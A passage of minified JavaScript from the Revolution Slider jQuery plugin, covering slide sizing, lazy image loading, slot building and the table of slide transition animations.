c=a2(this).find(".tp-arr-allwrapper");punchgs.TweenLite.to(a,0.4,{x:0-a.width(),ease:punchgs.Power3.easeOut,delay:0.2,overwrite:"all"});punchgs.TweenLite.to(c,0.2,{delay:0.6,autoAlpha:0,overwrite:"all"})})}};var aZ=function(g,d){d.container.closest(".forcefullwidth_wrapper_tp_banner").find(".tp-fullwidth-forcer").css({height:d.container.height()});d.container.closest(".rev_slider_wrapper").css({height:d.container.height()});d.width=parseInt(d.container.width(),0);d.height=parseInt(d.container.height(),0);d.bw=d.width/d.startwidth;d.bh=d.height/d.startheight;if(d.bh>d.bw){d.bh=d.bw}if(d.bh<d.bw){d.bw=d.bh}if(d.bw<d.bh){d.bh=d.bw}if(d.bh>1){d.bw=1;d.bh=1}if(d.bw>1){d.bw=1;d.bh=1}d.height=Math.round(d.startheight*(d.width/d.startwidth));if(d.height>d.startheight&&d.autoHeight!="on"){d.height=d.startheight}if(d.fullScreen=="on"){d.height=d.bw*d.startheight;var b=d.container.parent().width();var c=a2(window).height();if(d.fullScreenOffsetContainer!=aK){try{var f=d.fullScreenOffsetContainer.split(",");a2.each(f,function(h,j){c=c-a2(j).outerHeight(true);if(c<d.minFullScreenHeight){c=d.minFullScreenHeight}})}catch(a){}try{if(d.fullScreenOffset.split("%").length>1&&d.fullScreenOffset!=aK&&d.fullScreenOffset.length>0){c=c-a2(window).height()*parseInt(d.fullScreenOffset,0)/100}else{if(d.fullScreenOffset!=aK&&d.fullScreenOffset.length>0){c=c-parseInt(d.fullScreenOffset,0)}}if(c<d.minFullScreenHeight){c=d.minFullScreenHeight}}catch(a){}}d.container.parent().height(c);d.container.closest(".rev_slider_wrapper").height(c);d.container.css({height:"100%"});d.height=c;if(d.minHeight!=aK&&d.height<d.minHeight){d.height=d.minHeight}}else{if(d.minHeight!=aK&&d.height<d.minHeight){d.height=d.minHeight}d.container.height(d.height)}d.slotw=Math.ceil(d.width/d.slots);if(d.fullScreen=="on"){d.sloth=Math.ceil(a2(window).height()/d.slots)}else{d.sloth=Math.ceil(d.height/d.slots)}if(d.autoHeight=="on"){d.sloth=Math.ceil(g.height()/d.slots)}};var aF=function(b,a){b.find(".tp-caption").each(function(){a2(this).addClass(a2(this).data("transition"));a2(this).addClass("start")});b.find(">ul:first").css({overflow:"hidden",width:"100%",height:"100%",maxHeight:b.parent().css("maxHeight")}).addClass("tp-revslider-mainul");if(a.autoHeight=="on"){b.find(">ul:first").css({overflow:"hidden",width:"100%",height:"100%",maxHeight:"none"});b.css({maxHeight:"none"});b.parent().css({maxHeight:"none"})}b.find(">ul:first >li").each(function(j){var g=a2(this);g.addClass("tp-revslider-slidesli");g.css({width:"100%",height:"100%",overflow:"hidden"});if(g.data("link")!=aK){var h=g.data("link");var l="_self";var d=60;if(g.data("slideindex")=="back"){d=0}var c=checksl=g.data("linktoslide");if(c!=aK){if(c!="next"&&c!="prev"){b.find(">ul:first-child >li").each(function(){var f=a2(this);if(f.data("origindex")+1==checksl){c=f.index()+1}})}}if(g.data("target")!=aK){l=g.data("target")}if(h!="slide"){c="no"}var k='<div class="tp-caption sft slidelink" style="width:100%;height:100%;z-index:'+d+';" data-x="center" data-y="center" data-linktoslide="'+c+'" data-start="0"><a style="width:100%;height:100%;display:block"';if(h!="slide"){k=k+' target="'+l+'" href="'+h+'"'}k=k+'><span style="width:100%;height:100%;display:block"></span></a></div>';g.append(k)}});b.parent().css({overflow:"visible"});b.find(">ul:first >li >img").each(function(q){var h=a2(this);h.addClass("defaultimg");if(h.data("lazyload")!=aK&&h.data("lazydone")!=1){}else{aZ(h,a)}if(a6(8)){h.data("kenburns","off")}if(a.panZoomDisableOnMobile=="on"&&aq()){h.data("kenburns","off");h.data("bgfit","cover")}h.wrap('<div class="slotholder" style="width:100%;height:100%;"data-duration="'+h.data("duration")+'"data-zoomstart="'+h.data("zoomstart")+'"data-zoomend="'+h.data("zoomend")+'"data-rotationstart="'+h.data("rotationstart")+'"data-rotationend="'+h.data("rotationend")+'"data-ease="'+h.data("ease")+'"data-duration="'+h.data("duration")+'"data-bgpositionend="'+h.data("bgpositionend")+'"data-bgposition="'+h.data("bgposition")+'"data-duration="'+h.data("duration")+'"data-kenburns="'+h.data("kenburns")+'"data-easeme="'+h.data("ease")+'"data-bgfit="'+h.data("bgfit")+'"data-bgfitend="'+h.data("bgfitend")+'"data-owidth="'+h.data("owidth")+'"data-oheight="'+h.data("oheight")+'"></div>');if(a.dottedOverlay!="none"&&a.dottedOverlay!=aK){h.closest(".slotholder").append('<div class="tp-dottedoverlay '+a.dottedOverlay+'"></div>')}var j=h.attr("src"),m=h.data("lazyload"),g=h.data("bgfit"),k=h.data("bgrepeat"),d=h.data("bgposition");if(g==aK){g="cover"}if(k==aK){k="no-repeat"}if(d==aK){d="center center"}var p=h.closest(".slotholder");h.replaceWith('<div class="tp-bgimg defaultimg" data-lazyload="'+h.data("lazyload")+'" data-bgfit="'+g+'"data-bgposition="'+d+'" data-bgrepeat="'+k+'" data-lazydone="'+h.data("lazydone")+'" src="'+j+'" data-src="'+j+'" style="background-color:'+h.css("backgroundColor")+";background-repeat:"+k+";background-image:url("+j+");background-size:"+g+";background-position:"+d+';width:100%;height:100%;"></div>');if(a6(8)){p.find(".tp-bgimg").css({backgroundImage:"none","background-image":"none"});p.find(".tp-bgimg").append('<img class="ieeightfallbackimage defaultimg" src="'+j+'" style="width:100%">')}h.css({opacity:0});h.data("li-id",q)})};var a5=function(Q,I,F,M){var B=Q,H=B.find(".defaultimg"),z=B.data("zoomstart"),P=B.data("rotationstart");if(H.data("currotate")!=aK){P=H.data("currotate")}if(H.data("curscale")!=aK&&M=="box"){z=H.data("curscale")*100}else{if(H.data("curscale")!=aK){z=H.data("curscale")}}aZ(H,I);var K=H.data("src"),U=H.css("backgroundColor"),O=I.width,G=I.height,R=H.data("fxof"),w=0;if(I.autoHeight=="on"){G=I.container.height()}if(R==aK){R=0}var J=0,q=H.data("bgfit"),V=H.data("bgrepeat"),A=H.data("bgposition");if(q==aK){q="cover"}if(V==aK){V="no-repeat"}if(A==aK){A="center center"}if(a6(8)){B.data("kenburns","off");var g=K;K=""}switch(M){case"box":var t=0,a=0,j=0;if(I.sloth>I.slotw){t=I.sloth}else{t=I.slotw}if(!F){var J=0-t}I.slotw=t;I.sloth=t;var a=0;var j=0;if(B.data("kenburns")=="on"){q=z;if(q.toString().length<4){q=ap(q,B,I)}}for(var D=0;D<I.slots;D++){j=0;for(var L=0;L<I.slots;L++){B.append('<div class="slot" style="position:absolute;top:'+(w+j)+"px;left:"+(R+a)+"px;width:"+t+"px;height:"+t+'px;overflow:hidden;"><div class="slotslide" data-x="'+a+'" data-y="'+j+'" style="position:absolute;top:'+0+"px;left:"+0+"px;width:"+t+"px;height:"+t+'px;overflow:hidden;"><div style="position:absolute;top:'+(0-j)+"px;left:"+(0-a)+"px;width:"+O+"px;height:"+G+"px;background-color:"+U+";background-image:url("+K+");background-repeat:"+V+";background-size:"+q+";background-position:"+A+';"></div></div></div>');j=j+t;if(a6(8)){B.find(".slot ").last().find(".slotslide").append('<img src="'+g+'">');aH(B,I)}if(z!=aK&&P!=aK){punchgs.TweenLite.set(B.find(".slot").last(),{rotationZ:P})}}a=a+t}break;case"vertical":case"horizontal":if(B.data("kenburns")=="on"){q=z;if(q.toString().length<4){q=ap(q,B,I)}}if(M=="horizontal"){if(!F){var J=0-I.slotw}for(var L=0;L<I.slots;L++){B.append('<div class="slot" style="position:absolute;top:'+(0+w)+"px;left:"+(R+L*I.slotw)+"px;overflow:hidden;width:"+(I.slotw+0.6)+"px;height:"+G+'px"><div class="slotslide" style="position:absolute;top:0px;left:'+J+"px;width:"+(I.slotw+0.6)+"px;height:"+G+'px;overflow:hidden;"><div style="background-color:'+U+";position:absolute;top:0px;left:"+(0-L*I.slotw)+"px;width:"+O+"px;height:"+G+"px;background-image:url("+K+");background-repeat:"+V+";background-size:"+q+";background-position:"+A+';"></div></div></div>');if(z!=aK&&P!=aK){punchgs.TweenLite.set(B.find(".slot").last(),{rotationZ:P})}if(a6(8)){B.find(".slot ").last().find(".slotslide").append('<img class="ieeightfallbackimage" src="'+g+'" style="width:100%;height:auto">');aH(B,I)}}}else{if(!F){var J=0-I.sloth}for(var L=0;L<I.slots+2;L++){B.append('<div class="slot" style="position:absolute;top:'+(w+L*I.sloth)+"px;left:"+R+"px;overflow:hidden;width:"+O+"px;height:"+I.sloth+'px"><div class="slotslide" style="position:absolute;top:'+J+"px;left:0px;width:"+O+"px;height:"+I.sloth+'px;overflow:hidden;"><div style="background-color:'+U+";position:absolute;top:"+(0-L*I.sloth)+"px;left:0px;width:"+O+"px;height:"+G+"px;background-image:url("+K+");background-repeat:"+V+";background-size:"+q+";background-position:"+A+';"></div></div></div>');if(z!=aK&&P!=aK){punchgs.TweenLite.set(B.find(".slot").last(),{rotationZ:P})}if(a6(8)){B.find(".slot ").last().find(".slotslide").append('<img class="ieeightfallbackimage" src="'+g+'" style="width:100%;height:auto;">');aH(B,I)}}}break}};var aH=function(d,b){if(a6(8)){var f=d.find(".ieeightfallbackimage");var c=f.width(),a=f.height();if(b.startwidth/b.startheight<d.data("owidth")/d.data("oheight")){f.css({width:"auto",height:"100%"})}else{f.css({width:"100%",height:"auto"})}setTimeout(function(){var j=f.width(),g=f.height(),h=d.data("bgposition");if(h=="center center"){f.css({position:"absolute",top:b.height/2-g/2+"px",left:b.width/2-j/2+"px"})}if(h=="center top"||h=="top center"){f.css({position:"absolute",top:"0px",left:b.width/2-j/2+"px"})}if(h=="center bottom"||h=="bottom center"){f.css({position:"absolute",bottom:"0px",left:b.width/2-j/2+"px"})}if(h=="right top"||h=="top right"){f.css({position:"absolute",top:"0px",right:"0px"})}if(h=="right bottom"||h=="bottom right"){f.css({position:"absolute",bottom:"0px",right:"0px"})}if(h=="right center"||h=="center right"){f.css({position:"absolute",top:b.height/2-g/2+"px",right:"0px"})}if(h=="left bottom"||h=="bottom left"){f.css({position:"absolute",bottom:"0px",left:"0px"})}if(h=="left center"||h=="center left"){f.css({position:"absolute",top:b.height/2-g/2+"px",left:"0px"})}},20)}};var aw=function(a,c,b){b.find(".slot").each(function(){a2(this).remove()});c.transition=0};var ah=function(b,a){b.find("img, .defaultimg").each(function(g){var c=a2(this),d=c.data("lazyload");if(d!=c.attr("src")&&a<3&&d!=aK&&d!="undefined"){if(d!=aK&&d!="undefined"){c.attr("src",d);var f=new Image;f.onload=function(h){c.data("lazydone",1);if(c.hasClass("defaultimg")){aG(c,f)}};f.error=function(){c.data("lazydone",1)};f.src=c.attr("src");if(f.complete){if(c.hasClass("defaultimg")){aG(c,f)}c.data("lazydone",1)}}}else{if((d===aK||d==="undefined")&&c.data("lazydone")!=1){var f=new Image;f.onload=function(){if(c.hasClass("defaultimg")){aG(c,f)}c.data("lazydone",1)};f.error=function(){c.data("lazydone",1)};if(c.attr("src")!=aK&&c.attr("src")!="undefined"){f.src=c.attr("src")}else{f.src=c.data("src")}if(f.complete){if(c.hasClass("defaultimg")){aG(c,f)}c.data("lazydone",1)}}}})};var aG=function(d,b){var f=d.closest("li"),c=b.width,a=b.height;f.data("owidth",c);f.data("oheight",a);f.find(".slotholder").data("owidth",c);f.find(".slotholder").data("oheight",a);f.data("loadeddone",1)};var ag=function(d,c,a){ah(d,0);var b=setInterval(function(){a.bannertimeronpause=true;a.container.trigger("stoptimer");a.cd=0;var f=0;d.find("img, .defaultimg").each(function(g){if(a2(this).data("lazydone")!=1){f++}});if(f>0){ah(d,f)}else{clearInterval(b);if(c!=aK){c()}}},100)};var am=function(d,g){try{var c=d.find(">ul:first-child >li:eq("+g.act+")")}catch(a){var c=d.find(">ul:first-child >li:eq(1)")}g.lastslide=g.act;var b=d.find(">ul:first-child >li:eq("+g.next+")");var f=b.find(".defaultimg");g.bannertimeronpause=true;d.trigger("stoptimer");g.cd=0;if(f.data("lazyload")!=aK&&f.data("lazyload")!="undefined"&&f.data("lazydone")!=1){if(!a6(8)){f.css({backgroundImage:'url("'+b.find(".defaultimg").data("lazyload")+'")'})}else{f.attr("src",b.find(".defaultimg").data("lazyload"))}f.data("src",b.find(".defaultimg").data("lazyload"));f.data("lazydone",1);f.data("orgw",0);b.data("loadeddone",1);d.find(".tp-loader").css({display:"block"});ag(d.find(".tp-static-layers"),function(){ag(b,function(){var h=b.find(".slotholder");if(h.data("kenburns")=="on"){var j=setInterval(function(){var k=h.data("owidth");if(k>=0){clearInterval(j);ay(g,f,d)}},10)}else{ay(g,f,d)}},g)},g)}else{if(b.data("loadeddone")===aK){b.data("loadeddone",1);ag(b,function(){ay(g,f,d)},g)}else{ay(g,f,d)}}};var ay=function(b,a,c){b.bannertimeronpause=false;b.cd=0;c.trigger("nulltimer");c.find(".tp-loader").css({display:"none"});aZ(a,b);aI(c,b);aZ(a,b);aU(c,b)};var aU=function(h,k){h.trigger("revolution.slide.onbeforeswap");k.transition=1;k.videoplaying=false;try{var g=h.find(">ul:first-child >li:eq("+k.act+")")}catch(d){var g=h.find(">ul:first-child >li:eq(1)")}k.lastslide=k.act;var f=h.find(">ul:first-child >li:eq("+k.next+")");setTimeout(function(){aS(k)},200);var j=g.find(".slotholder"),c=f.find(".slotholder");if(c.data("kenburns")=="on"||j.data("kenburns")=="on"){aa(h,k);h.find(".kenburnimg").remove()}if(f.data("delay")!=aK){k.cd=0;k.delay=f.data("delay")}else{k.delay=k.origcd}if(k.firststart==1){punchgs.TweenLite.set(g,{autoAlpha:0})}punchgs.TweenLite.set(g,{zIndex:18});punchgs.TweenLite.set(f,{autoAlpha:0,zIndex:20});var b=0;if(g.index()!=f.index()&&k.firststart!=1){b=aE(g,k)}if(g.data("saveperformance")!="on"){b=0}setTimeout(function(){h.trigger("restarttimer");ao(h,k,f,g,j,c)},b)};var ao=function(bQ,bK,bV,bJ,bO,bI){function bY(){a2.each(bH,function(d,c){if(c[0]==bN||c[8]==bN){bS=c[1];bZ=c[2];bE=bG}bG=bG+1})}if(bV.data("differentissplayed")=="prepared"){bV.data("differentissplayed","done");bV.data("transition",bV.data("savedtransition"));bV.data("slotamount",bV.data("savedslotamount"));bV.data("masterspeed",bV.data("savedmasterspeed"))}if(bV.data("fstransition")!=aK&&bV.data("differentissplayed")!="done"){bV.data("savedtransition",bV.data("transition"));bV.data("savedslotamount",bV.data("slotamount"));bV.data("savedmasterspeed",bV.data("masterspeed"));bV.data("transition",bV.data("fstransition"));bV.data("slotamount",bV.data("fsslotamount"));bV.data("masterspeed",bV.data("fsmasterspeed"));bV.data("differentissplayed","prepared")}bQ.find(".active-revslide").removeClass(".active-revslide");bV.addClass("active-revslide");if(bV.data("transition")==aK){bV.data("transition","random")}var bS=0,b0=bV.data("transition").split(","),bW=bV.data("nexttransid")==aK?-1:bV.data("nexttransid");if(bV.data("randomtransition")=="on"){bW=Math.round(Math.random()*b0.length)}else{bW=bW+1}if(bW==b0.length){bW=0}bV.data("nexttransid",bW);var bN=b0[bW];if(bK.ie){if(bN=="boxfade"){bN="boxslide"}if(bN=="slotfade-vertical"){bN="slotzoom-vertical"}if(bN=="slotfade-horizontal"){bN="slotzoom-horizontal"}}if(a6(8)){bN=11}var bZ=0;if(bK.parallax=="scroll"&&bK.parallaxFirstGo==aK){bK.parallaxFirstGo=true;a0(bQ,bK);setTimeout(function(){a0(bQ,bK)},210);setTimeout(function(){a0(bQ,bK)},420)}if(bN=="slidehorizontal"){bN="slideleft";if(bK.leftarrowpressed==1){bN="slideright"}}if(bN=="slidevertical"){bN="slideup";if(bK.leftarrowpressed==1){bN="slidedown"}}if(bN=="parallaxhorizontal"){bN="parallaxtoleft";if(bK.leftarrowpressed==1){bN="parallaxtoright"}}if(bN=="parallaxvertical"){bN="parallaxtotop";if(bK.leftarrowpressed==1){bN="parallaxtobottom"}}var bH=[["boxslide",0,1,10,0,"box",false,null,0],["boxfade",1,0,10,0,"box",false,null,1],["slotslide-horizontal",2,0,0,200,"horizontal",true,false,2],["slotslide-vertical",3,0,0,200,"vertical",true,false,3],["curtain-1",4,3,0,0,"horizontal",true,true,4],["curtain-2",5,3,0,0,"horizontal",true,true,5],["curtain-3",6,3,25,0,"horizontal",true,true,6],["slotzoom-horizontal",7,0,0,400,"horizontal",true,true,7],["slotzoom-vertical",8,0,0,0,"vertical",true,true,8],["slotfade-horizontal",9,0,0,500,"horizontal",true,null,9],["slotfade-vertical",10,0,0,500,"vertical",true,null,10],["fade",11,0,1,300,"horizontal",true,null,11],["slideleft",12,0,1,0,"horizontal",true,true,12],["slideup",13,0,1,0,"horizontal",true,true,13],["slidedown",14,0,1,0,"horizontal",true,true,14],["slideright",15,0,1,0,"horizontal",true,true,15],["papercut",16,0,0,600,"",null,null,16],["3dcurtain-horizontal",17,0,20,100,"vertical",false,true,17],["3dcurtain-vertical",18,0,10,100,"horizontal",false,true,18],["cubic",19,0,20,600,"horizontal",false,true,19],["cube",19,0,20,600,"horizontal",false,true,20],["flyin",20,0,4,600,"vertical",false,true,21],["turnoff",21,0,1,1600,"horizontal",false,true,22],["incube",22,0,20,200,"horizontal",false,true,23],["cubic-horizontal",23,0,20,500,"vertical",false,true,24],["cube-horizontal",23,0,20,500,"vertical",false,true,25],["incube-horizontal",24,0,20,500,"vertical",false,true,26],["turnoff-vertical",25,0,1,200,"horizontal",false,true,27],["fadefromright",12,1,1,0,"horizontal",true,true,28],["fadefromleft",15,1,1,0,"horizontal",true,true,29],["fadefromtop",14,1,1,0,"horizontal",true,true,30],["fadefrombottom",13,1,1,0,"horizontal",true,true,31],["fadetoleftfadefromright",12,2,1,0,"horizontal",true,true,32],["fadetorightfadetoleft",15,2,1,0,"horizontal",true,true,33],["fadetobottomfadefromtop",14,2,1,0,"horizontal",true,true,34],["fadetotopfadefrombottom",13,2,1,0,"horizontal",true,true,35],["parallaxtoright",12,3,1,0,"horizontal",true,true,36],["parallaxtoleft",15,3,1,0,"horizontal",true,true,37],["parallaxtotop",14,3,1,0,"horizontal",true,true,38],["parallaxtobottom",13,3,1,0,"horizontal",true,true,39],["scaledownfromright",12,4,1,0,"horizontal",true,true,40],["scaledownfromleft",15,4,1,0,"horizontal",true,true,41],["scaledownfromtop",14,4,1,0,"horizontal",true,true,42],["scaledownfrombottom",13,4,1,0,"horizontal",true,true,43],["zoomout",13,5,1,0,"horizontal",true,true,44],["zoomin",13,6,1,0,"horizontal",true,true,45],["notransition",26,0,1,0,"horizontal",true,null,46]];var bR=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45];var bX=[16,17,18,19,20,21,22,23,24,25,26,27];var bS=0;var bZ=1;var bE=0;var bG=0;var br=new Array;if(bI.data("kenburns")=="on"){if(bN=="boxslide"||bN==0||bN=="boxfade"||bN==1||bN=="papercut"||bN==16){bN=11}aj(bQ,bK,true,true)}if(bN=="random"){bN=Math.round(Math.random()*bH.length-1);if(bN>bH.length-1){bN=bH.length-1}}if(bN=="random-static"){bN=Math.round(Math.random()*bR.length-1);if(bN>bR.length-1){bN=bR.length-1}bN=bR[bN]}if(bN=="random-premium"){bN=Math.round(Math.random()*bX.length-1);if(bN>bX.length-1){bN=bX.length-1}bN=bX[bN]}var ba=[12,13,14,15,16,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45];if(bK.isJoomla==true&&window.MooTools!=aK&&ba.indexOf(bN)!=-1){var bF=Math.round(Math.random()*(bX.length-2))+1;if(bF>bX.length-1){bF=bX.length-1}if(bF==0){bF=1}bN=bX[bF]}bY();if(a6(8)&&bS>15&&bS<28){bN=Math.round(Math.random()*bR.length-1);if(bN>bR.length-1){bN=bR.length-1}bN=bR[bN];bG=0;bY()}var a8=-1;if(bK.leftarrowpressed==1||bK.act>bK.next){a8=1}bK.leftarrowpressed=0;if(bS>26){bS=26}if(bS<0){bS=0}var bf=300;if(bV.data("masterspeed")!=aK&&bV.data("masterspeed")>99&&bV.data("masterspeed")<bK.delay){bf=bV.data("masterspeed")}if(bV.data("masterspeed")!=aK&&bV.data("masterspeed")>bK.delay){bf=bK.delay}br=bH[bE];bQ.parent().find(".bullet").each(function(){var c=a2(this),d=c.index();c.removeClass("selected");if(bK.navigationArrows=="withbullet"||bK.navigationArrows=="nexttobullets"){d=c.index()-1}if(d==bK.next){c.addClass("selected")}});var bt=new punchgs.TimelineLite({onComplete:function(){aA(bQ,bK,bI,bO,bV,bJ,bt)}});bt.add(punchgs.TweenLite.set(bI.find(".defaultimg"),{opacity:0}));bt.pause();if(bV.data("slotamount")==aK||bV.data("slotamount")<1){bK.slots=Math.round(Math.random()*12+4);if(bN=="boxslide"){bK.slots=Math.round(Math.random()*6+3)}else{if(bN=="flyin"){bK.slots=Math.round(Math.random()*4+1)}}}else{bK.slots=bV.data("slotamount")}if(bV.data("rotate")==aK){bK.rotate=0}else{if(bV.data("rotate")==999){bK.rotate=Math.round(Math.random()*360)}else{bK.rotate=bV.data("rotate")}}if(!a2.support.transition||bK.ie||bK.ie9){bK.rotate=0}if(bK.firststart==1){bK.firststart=0}bf=bf+br[4];if((bS==4||bS==5||bS==6)&&bK.slots<3){bK.slots=3}if(br[3]!=0){bK.slots=Math.min(bK.slots,br[3])}if(bS==9){bK.slots=bK.width/20}if(bS==10){bK.slots=bK.height/20}if(br[7]!=null){a5(bO,bK,br[7],br[5])}if(br[6]!=null){a5(bI,bK,br[6],br[5])}if(bS==0){var bT=Math.ceil(bK.height/bK.sloth);var bh=0;bI.find(".slotslide").each(function(c){var d=a2(this);bh=bh+1;if(bh==bT){bh=0}bt.add(punchgs.TweenLite.from(d,bf/600,{opacity:0,top:0-bK.sloth,left:0-bK.slotw,rotation:bK.rotate,force3D:"auto",ease:punchgs.Power2.easeOut}),(c*15+bh*30)/1500)})}if(bS==1){var be,bg=0;bI.find(".slotslide").each(function(d){var g=a2(this),c=Math.random()*bf+300,f=Math.random()*500+200;if(c+f>be){be=f+f;bg=d}bt.add(punchgs.TweenLite.from(g,c/1000,{autoAlpha:0,force3D:"auto",rotation:bK.rotate,ease:punchgs.Power2.easeInOut}),f/1000)})}if(bS==2){var b1=new punchgs.TimelineLite;bO.find(".slotslide").each(function(){var c=a2(this);b1.add(punchgs.TweenLite.to(c,bf/1000,{left:bK.slotw,force3D:"auto",rotation:0-bK.rotate}),0);bt.add(b1,0)});bI.find(".slotslide").each(function(){var c=a2(this);b1.add(punchgs.TweenLite.from(c,bf/1000,{left:0-bK.slotw,force3D:"auto",rotation:bK.rotate}),0);bt.add(b1,0)})}if(bS==3){var b1=new punchgs.TimelineLite;bO.find(".slotslide").each(function(){var c=a2(this);b1.add(punchgs.TweenLite.to(c,bf/1000,{top:bK.sloth,rotation:bK.rotate,force3D:"auto",transformPerspective:600}),0);bt.add(b1,0)});bI.find(".slotslide").each(function(){var c=a2(this);b1.add(punchgs.TweenLite.from(c,bf/1000,{top:0-bK.sloth,rotation:bK.rotate,ease:punchgs.Power2.easeOut,force3D:"auto",transformPerspective:600}),0);bt.add(b1,0)})}if(bS==4||bS==5){setTimeout(function(){bO.find(".defaultimg").css({opacity:0})},100);var bs=bf/1000,bd=bs,b1=new punchgs.TimelineLite;bO.find(".slotslide").each(function(d){var f=a2(this);var c=d*bs/bK.slots;if(bS==5){c=(bK.slots-d-1)*bs/bK.slots/1.5}b1.add(punchgs.TweenLite.to(f,bs*3,{transformPerspective:600,force3D:"auto",top:0+bK.height,opacity:0.5,rotation:bK.rotate,ease:punchgs.Power2.easeInOut,delay:c}),0);bt.add(b1,0)});bI.find(".slotslide").each(function(d){var f=a2(this);var c=d*bs/bK.slots;if(bS==5){c=(bK.slots-d-1)*bs/bK.slots/1.5}b1.add(punchgs.TweenLite.from(f,bs*3,{top:0-bK.height,opacity:0.5,rotation:bK.rotate,force3D:"auto",ease:punchgs.Power2.easeInOut,delay:c}),0);bt.add(b1,0)})}if(bS==6){if(bK.slots<2){bK.slots=2}if(bK.slots%2){bK.slots=bK.slots+1}var b1=new punchgs.TimelineLite;setTimeout(function(){bO.find(".defaultimg").css({opacity:0})},100);bO.find(".slotslide").each(function(d){var f=a2(this);if(d+1<bK.slots/2){var c=(d+2)*90}else{var c=(2+bK.slots-d)*90}b1.add(punchgs.TweenLite.to(f,(bf+c)/1000,{top:0+bK.height,opacity:1,force3D:"auto",rotation:bK.rotate,ease:punchgs.Power2.easeInOut}),0);bt.add(b1,0)});bI.find(".slotslide").each(function(d){var f=a2(this);if(d+1<bK.slots/2){var c=(d+2)*90}else{var c=(2+bK.slots-d)*90}b1.add(punchgs.TweenLite.from(f,(bf+c)/1000,{top:0-bK.height,opacity:1,force3D:"auto",rotation:bK.rotate,ease:punchgs.Power2.easeInOut}),0);bt.add(b1,0)})}if(bS==7){bf=bf*2;if(bf>bK.delay){bf=bK.delay}var b1=new punchgs.TimelineLite;setTimeout(function(){bO.find(".defaultimg").css({opacity:0})},100);bO.find(".slotslide").each(function(){var c=a2(this).find("div");b1.add(punchgs.TweenLite.to(c,bf/1000,{left:0-bK.slotw/2+"px",top:0-bK.height/2+"px",width:bK.slotw*2+"px",height:bK.height*2+"px",opacity:0,rotation:bK.rotate,force3D:"auto",ease:punchgs.Power2.easeOut}),0);bt.add(b1,0)});bI.find(".slotslide").each(function(c){var d=a2(this).find("div");b1.add(punchgs.TweenLite.fromTo(d,bf/1000,{left:0,top:0,opacity:0,transformPerspective:600},{left:0-c*bK.slotw+"px",ease:punchgs.Power2.easeOut,force3D:"auto",top:0+"px",width:bK.width,height:bK.height,opacity:1,rotation:0,delay:0.1}),0);bt.add(b1,0)})}if(bS==8){bf=bf*3;if(bf>bK.delay){bf=bK.delay}var b1=new punchgs.TimelineLite;bO.find(".slotslide").each(function(){var c=a2(this).find("div");b1.add(punchgs.TweenLite.to(c,bf/1000,{left:0-bK.width/2+"px",top:0-bK.sloth/2+"px",width:bK.width*2+"px",height:bK.sloth*2+"px",force3D:"auto",opacity:0,rotation:bK.rotate}),0);bt.add(b1,0)});bI.find(".slotslide").each(function(c){var d=a2(this).find("div");b1.add(punchgs.TweenLite.fromTo(d,bf/1000,{left:0,top:0,opacity:0,force3D:"auto"},{left:0+"px",top:0-c*bK.sloth+"px",width:bI.find(".defaultimg").data("neww")+"px",height:bI.find(".defaultimg").data("newh")+"px",opacity:1,rotation:0}),0);bt.add(b1,0)})}if(bS==9||bS==10){var bm=0;bI.find(".slotslide").each(function(c){var d=a2(this);bm++;bt.add(punchgs.TweenLite.fromTo(d,bf/1000,{autoAlpha:0,force3D:"auto",transformPerspective:600},{autoAlpha:1,ease:punchgs.Power2.easeInOut,delay:c*5/1000}),0)})}if(bS==11||bS==26){var bm=0;if(bS==26){bf=0}bI.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.from(d,bf/1000,{autoAlpha:0,force3D:"auto",ease:punchgs.Power2.easeInOut}),0)})}if(bS==12||bS==13||bS==14||bS==15){bf=bf;if(bf>bK.delay){bf=bK.delay}setTimeout(function(){punchgs.TweenLite.set(bO.find(".defaultimg"),{autoAlpha:0})},100);var bu=bK.width,bp=bK.height,bl=bI.find(".slotslide"),bL=0,bb=0,Q=1,bD=1,t=1,j=punchgs.Power2.easeInOut,A=punchgs.Power2.easeInOut,bC=bf/1000,bj=bC;if(bK.fullWidth=="on"||bK.fullScreen=="on"){bu=bl.width();bp=bl.height()}if(bS==12){bL=bu}else{if(bS==15){bL=0-bu}else{if(bS==13){bb=bp}else{if(bS==14){bb=0-bp}}}}if(bZ==1){Q=0}if(bZ==2){Q=0}if(bZ==3){j=punchgs.Power2.easeInOut;A=punchgs.Power1.easeInOut;bC=bf/1200}if(bZ==4||bZ==5){bD=0.6}if(bZ==6){bD=1.4}if(bZ==5||bZ==6){t=1.4;Q=0;bu=0;bp=0;bL=0;bb=0}if(bZ==6){t=0.6}var bi=0;bt.add(punchgs.TweenLite.from(bl,bC,{left:bL,top:bb,scale:t,opacity:Q,rotation:bK.rotate,ease:A,force3D:"auto"}),0);var bo=bO.find(".slotslide");if(bZ==4||bZ==5){bu=0;bp=0}if(bZ!=1){switch(bS){case 12:bt.add(punchgs.TweenLite.to(bo,bj,{left:0-bu+"px",force3D:"auto",scale:bD,opacity:Q,rotation:bK.rotate,ease:j}),0);break;case 15:bt.add(punchgs.TweenLite.to(bo,bj,{left:bu+"px",force3D:"auto",scale:bD,opacity:Q,rotation:bK.rotate,ease:j}),0);break;case 13:bt.add(punchgs.TweenLite.to(bo,bj,{top:0-bp+"px",force3D:"auto",scale:bD,opacity:Q,rotation:bK.rotate,ease:j}),0);break;case 14:bt.add(punchgs.TweenLite.to(bo,bj,{top:bp+"px",force3D:"auto",scale:bD,opacity:Q,rotation:bK.rotate,ease:j}),0);break}}}if(bS==16){var b1=new punchgs.TimelineLite;bt.add(punchgs.TweenLite.set(bJ,{position:"absolute","z-index":20}),0);bt.add(punchgs.TweenLite.set(bV,{position:"absolute","z-index":15}),0);bJ.wrapInner('<div class="tp-half-one" style="position:relative; width:100%;height:100%"></div>');bJ.find(".tp-half-one").clone(true).appendTo(bJ).addClass("tp-half-two");bJ.find(".tp-half-two").removeClass("tp-half-one");var bu=bK.width,bp=bK.height;if(bK.autoHeight=="on"){bp=bQ.height()}bJ.find(".tp-half-one .defaultimg").wrap('<div class="tp-papercut" style="width:'+bu+"px;height:"+bp+'px;"></div>');bJ.find(".tp-half-two .defaultimg").wrap('<div class="tp-papercut" style="width:'+bu+"px;height:"+bp+'px;"></div>');bJ.find(".tp-half-two .defaultimg").css({position:"absolute",top:"-50%"});bJ.find(".tp-half-two .tp-caption").wrapAll('<div 